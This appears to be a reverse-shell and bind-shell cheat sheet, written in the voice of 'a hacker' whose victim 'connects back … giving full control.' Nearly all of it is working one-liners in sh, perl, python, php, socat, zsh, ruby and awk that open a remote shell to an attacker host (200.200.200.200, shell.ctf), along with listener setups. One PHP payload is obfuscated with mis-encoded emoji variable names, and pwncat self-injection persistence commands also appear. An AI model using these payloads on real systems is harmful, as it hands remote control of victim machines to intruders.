Reverse Shell is useful to pass through router and firewalls that may allow outbound connections but not inbound ones.
Listener: the host that will receive the connection and will take the control of the connected machine.
In other words, a hacker creates a listener and the victim connects back to it giving full control.
OUT OF THE BOX
Most Linux distributions (certainly Ubuntu 20.04) may have the necessary tools for the following commands.
LISTENER
nc -lvnp 9001
REVERSE SHELLS
sh -i >& /dev/tcp/200.200.200.200/9001 0>&1
exec 5<>/dev/tcp/200.200.200.200/9001;cat <&5 | while read line; do $line 2>&5 >&5; done
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 200.200.200.200 9001 >/tmp/f
perl -e 'use Socket;$i="200.200.200.200";$p=9001;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
export RHOST="200.200.200.200";export RPORT=9001;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("200.200.200.200",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("200.200.200.200",9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
0<&196;exec 196<>/dev/tcp/200.200.200.200/9001; sh <&196 >&196 2>&196
TF=$(mktemp -u);mkfifo $TF && telnet 200.200.200.200 9001 0<$TF | sh 1>$TF
Most of the commands will provide a simple prompt “# ” but the last three will not.
USING PYTHON2
Python3 might come already installed on most of the modern distributions but in the case when it is not and Python2 is available…
INSTALLATION
apt install python
LISTENERS
nc -lvnp 9001
ncat -lvnp 9001
REVERSE SHELLS
export RHOST="200.200.200.200";export RPORT=9001;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("200.200.200.200",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
In both cases, a simple prompt “# ” will be available.
USING PHP
PHP is an important component of any webserver but it can also run on the shell.
INSTALLATION
apt install php7.4-cli
LISTENERS
nc -lvnp 9001
ncat -lvnp 9001
REVERSE SHELLS
php -r '$π="1";$π="2";$π ="3";$π="4";$π="5";$π="6";$π="7";$π="8";$π="9";$π="0";$π€’=" ";$π€="<";$π€ =">";$π±="-";$π΅="&";$π€©="i";$π€=".";$π€¨="/";$π₯°="a";$π="b";$πΆ="i";$π="h";$π="c";$π€£="d";$π="e";$π="f";$π="k";$π="n";$π="o";$π="p";$π€="s";$π="x";$π = $π. $π€. $π. $π. $π. $π. $π. $π. $π;$π = "200.200.200.200";$π» = 9001;$π = "sh". $π€’. $π±. $π€©. $π€’. $π€. $π΅. $π . $π€’. $π€ . $π΅. $π . $π€’. $π. $π€ . $π΅. $π ;$π€£ = $π($π,$π»);$π½ = $π. $π. $π. $π;$π½($π);'
php -r '$sock=fsockopen("200.200.200.200",9001);exec("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("200.200.200.200",9001);shell_exec("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("200.200.200.200",9001);system("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("200.200.200.200",9001);passthru("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("200.200.200.200",9001);`sh <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("200.200.200.200",9001);popen("sh <&3 >&3 2>&3", "r");'
php -r '$sock=fsockopen("200.200.200.200",9001);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
Only the first command will offer a simple prompt “# “, all the others will not, and the last one will not hold the prompt on the victim’s side.
USING SOCAT
It is a multipurpose relay able to establish multi-directional TCP connections, similar to netcat.
INSTALLATION
apt install socat
LISTENERS
nc -lvnp 9001
ncat -lvnp 9001
REVERSE SHELLS
socat TCP:200.200.200.200:9001 EXEC:'sh',pty,stderr,setsid,sigint,sane
socat TCP:200.200.200.200:9001 EXEC:sh
The first command will provide a simple prompt “# “.
USING ZSH
INSTALLATION
apt install zsh
LISTENERS
nc -lvnp 9001
ncat -lvnp 9001
REVERSE SHELLS
zsh -c 'zmodload zsh/net/tcp && ztcp 200.200.200.200 9001 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
Unfortunately, it will not offer any prompt.
ADDITIONAL LISTENERS
FOR LINUX
rlwrap -cAr nc -lvnp 9001
socat -d -d TCP-LISTEN:9001 STDOUT
curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat > pwncat.py chmod +x pwncat.py pwncat -l 9001 pwncat -l 9001 --self-inject /bin/bash:127.0.0.1:4444,4445,4446,4447 pwncat -l 9001 --self-inject /bin/bash:127.0.0.1:4444-4447 pwncat -l 9001 --self-inject /bin/bash:127.0.0.1:4444+3
FOR WINDOWS
stty raw -echo; (stty size; cat) | nc -lvnp 9001
FOR MAC
brew install pwncat python3 -m pwncat -lp 9001
BIND SHELLS
Bind shells are the opposite of the reverse shells. A host listens (bind) on a port waiting for a connection to take control.
BIND (LISTENERS)
python3 -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",9001));s1.listen(1);c,a=s1.accept();while True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",9001);socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'
CONNECTION
nc 200.200.200.200 9001
IPv6
It might look trivial, but it is not! During the 2025 NSEC CTF Competition, an IPv6-only environment exposed that many popular hacking tools are not prepared.
Listener
socat -d -d TCP-LISTEN:1337 STDOUT
Victim
# Socat socat TCP:shell.ctf:1337 EXEC:sh socat TCP:shell.ctf:1337 EXEC:'sh',pty,stderr,setsid,sigint,sane
# BusyBox NetCat busybox nc shell.ctf 1337 -e sh
# PHP
php -r '$sock=fsockopen("shell.ctf",1337);exec("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("shell.ctf",1337);shell_exec("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("shell.ctf",1337);system("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("shell.ctf",1337);passthru("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("shell.ctf",1337);`sh <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("shell.ctf",1337);popen("sh <&3 >&3 2>&3", "r");'
php -r '$sock=fsockopen("shell.ctf",1337);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
# Ruby
ruby -rsocket -e'exit if fork;c=TCPSocket.new("shell.ctf","1337");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'
# AWK
awk 'BEGIN {s = "/inet/tcp/0/shell.ctf/1337"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Note: using a DNS makes the work much easier because the characters : that divides the block of the IPv6 address frequently gets mixed with the :<PORT>. If necessary, wrap the IPv6 in square bracketsΒ if DNS is not an option (e.g., [fe80::3a07:ba07:63c4:9a36]).
BONUS
See the repository with automation for the usage of a growing list of listeners and reverse shell command at [Link].
You can also use the following command to import the pty and spin a real shell:
python -c 'import pty; pty.spawn("/bin/bash")'